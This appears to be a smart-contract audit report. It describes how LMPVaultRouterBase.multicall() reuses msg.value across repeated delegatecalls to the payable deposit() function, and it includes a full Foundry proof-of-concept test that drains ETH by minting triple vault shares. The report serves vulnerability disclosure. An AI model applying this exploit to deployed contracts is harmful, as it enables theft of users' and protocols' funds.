Jumpy Chili Copperhead

high

# LMPVaultRouterBase.multicall() can be abused to call deposit() multiple times to steal ETH funds from the LMPVaultRouterBase contract.
## Summary
LMPVaultRouterBase.multicall() can be used to call deposit() to steal ETH funds from the LMPVaultRouterBase contract. The main reason is that multicall() can be used to delegatecall deposit() multiple times, and the same msg.value will be used to perform the deposit(). Reusing msg.value in each call leads to stealing of the funds.

## Vulnerability Detail
First, we have reported the problem of double payment and the issue of not comparing msg.value to ``amount`` in another finding report. This finding is independent, meaning that even those issues are addressed, the issued reported here will still occur. 

Second, the issue we reported here  is regarding the use of multicall to delegatecall deposit() multiple times. The multicall allows one to delegatecall multiple functions in one transaction to save gas, but it is dangerous to use multicall in composition with a payable function such as deposit():

[https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/utils/Multicall.sol#L12-L33](https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/utils/Multicall.sol#L12-L33)


In the following, we  assume that the code of   LMPVaultRouterBase.deposit() has already been fixed to address the two issues (double payment and comparison between msg.value and ``amount``) described above as follows:

```javascript
   function deposit(
        ILMPVault vault,
        address to,
        uint256 amount,
        uint256 minSharesOut
    ) public payable virtual override returns (uint256 sharesOut) {
        // handle possible eth
        _processEthIn(vault);

        if(msg.value > 0 && msg.value != amount) revert("msg.value and amount do not match");

        IERC20 vaultAsset = IERC20(vault.asset());
        if(msg.value == 0) pullToken(vaultAsset, amount, address(this));

        return _deposit(vault, to, amount, minSharesOut);
    }
```

The problem is that multicall can be used to delegatecall deposit() multiple times, and the same msg.value is reused to perform each call of the deposit function. For example, in the following, user1 only sends 1e18 eth via multicall to the LMPVaultRouterBase contract, but since deposit() is called three times, three deposit operations will be performed using the same msg.value, leading to the user to receive 3e18 eth vault tokens instead of 1e18 vault tokens.

```javascript
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import { TestERC20 } from "test/mocks/TestERC20.sol";
import { SystemRegistry } from "src/SystemRegistry.sol";
import { LMPVaultRegistry } from "src/vault/LMPVaultRegistry.sol";
import { LMPVaultFactory } from "src/vault/LMPVaultFactory.sol";
import { AccessController } from "src/security/AccessController.sol";
import { SystemSecurity } from "src/security/SystemSecurity.sol";
import "src/staking/GPToke.sol";
import { LMPVault } from "src/vault/LMPVault.sol";
import { Roles } from "src/libs/Roles.sol";
import { Clones } from "openzeppelin-contracts/proxy/Clones.sol";

import { IWETH9 } from "src/interfaces/utils/IWETH9.sol";
import "src/tokens/WETH9.sol";
import "src/vault/LMPVaultRouterBase.sol";

import "openzeppelin-contracts/token/ERC20/utils/SafeERC20.sol";
import "test/utils/Addresses.sol";


contract myLMPVaultRouterBase is LMPVaultRouterBase{
    constructor(address _weth9)LMPVaultRouterBase(_weth9)
    {

    }
} 

contract MyTest is Test {
    using Clones for address;

    SystemRegistry private _systemRegistry;
    AccessController private _accessController;
    LMPVaultRegistry private _lmpVaultRegistry;
    LMPVaultFactory private _lmpVaultFactory;
    SystemSecurity private _systemSecurity;
    address _template;

    TestERC20 _toke;
    TestERC20 _asset;
    IWETH9 weth9;
    myLMPVaultRouterBase lmp;
    LMPVault _vault;
    
    GPToke gpt;

    address user1 = address(111);
    address user2 = address(222);



    function setUp() public virtual {
         weth9 = IWETH9(address(new WETH9()));

        vm.label(address(this), "testContract");

        _toke = new TestERC20("test", "test");
        vm.label(address(_toke), "toke");

        _systemRegistry = new SystemRegistry(address(_toke), address(weth9));
        _systemRegistry.addRewardToken(address(_toke));

        _accessController = new AccessController(address(_systemRegistry));
        _systemRegistry.setAccessController(address(_accessController));

        _lmpVaultRegistry = new LMPVaultRegistry(_systemRegistry);
        _systemRegistry.setLMPVaultRegistry(address(_lmpVaultRegistry));

        _systemSecurity = new SystemSecurity(_systemRegistry);
        _systemRegistry.setSystemSecurity(address(_systemSecurity));

        // Setup the LMP Vault

        _asset = new TestERC20("asset", "asset");
        _systemRegistry.addRewardToken(address(_asset));
        vm.label(address(_asset), "asset");

       
       
        _template = address(new LMPVault(_systemRegistry, address(weth9)));

        _lmpVaultFactory = new LMPVaultFactory(_systemRegistry, _template, 800, 100);    
        _accessController.grantRole(Roles.REGISTRY_UPDATER, address(_lmpVaultFactory));         


        lmp = new myLMPVaultRouterBase(address(weth9));
        _vault = LMPVault(address(_template).cloneDeterministic(keccak256("salt")));
        _vault.initialize(10000000e18, 1000000e18, "x", "y", "");

         
        gpt = new GPToke(_systemRegistry, block.timestamp, 1 days);
        _toke.mint(user1, 100e6 * 1e18);
       // uint256 mainnetFor = vm.createFork(vm.envString("ETH_RPC_URL"));
       //  vm.selectFork(mainnetFork);

       weth9.deposit{value: 1000e18}();
       (bool success, ) = address(lmp).call{value: 3e18}("");
       (success, ) = user1.call{value: 1e18}("");
    }




    function testMe() public{
         console2.log("lmp balance of eth: %d", address(lmp).balance);   
        
        /*
         vm.prank(user1);
         lmp.deposit{value: 1e18}(ILMPVault(_vault), user1, 1e18, 1e18);

         console2.log("user1's balance of vault tokens: %d", _vault.balanceOf(user1));
         */

        
         ILMPVault v = ILMPVault(_vault);
         uint256 amount = 1e18;
         uint256 minOut = 1e18;
         bytes memory cdata = abi.encodeWithSelector(LMPVaultRouterBase.deposit.selector, v, user1, amount, minOut);
     
        bytes[] memory data = new bytes[](3);
        data[0] = cdata;
        data[1] = cdata;
        data[2] = cdata; 

        console2.log("user1's balance of eth: %d", user1.balance);
        vm.prank(user1);
        lmp.multicall{value: 1e18}(data);      // send 1000 wei
        
        assertEq(_vault.balanceOf(user1), 3e18);
        console2.log("user1's balance of vault tokens: %d", _vault.balanceOf(user1));

    }
}
```


## Impact
Multcall can be used by a user to call deposit() mutlple times, and by reusing msg.value, a malicious user can steal eth from the LMPVaultRouterBase contract. 

## Code Snippet

## Tool used
VSCode

Manual Review

## Recommendation
multicall should not be supported by LMPVaultRouterBase since some functions are payable. 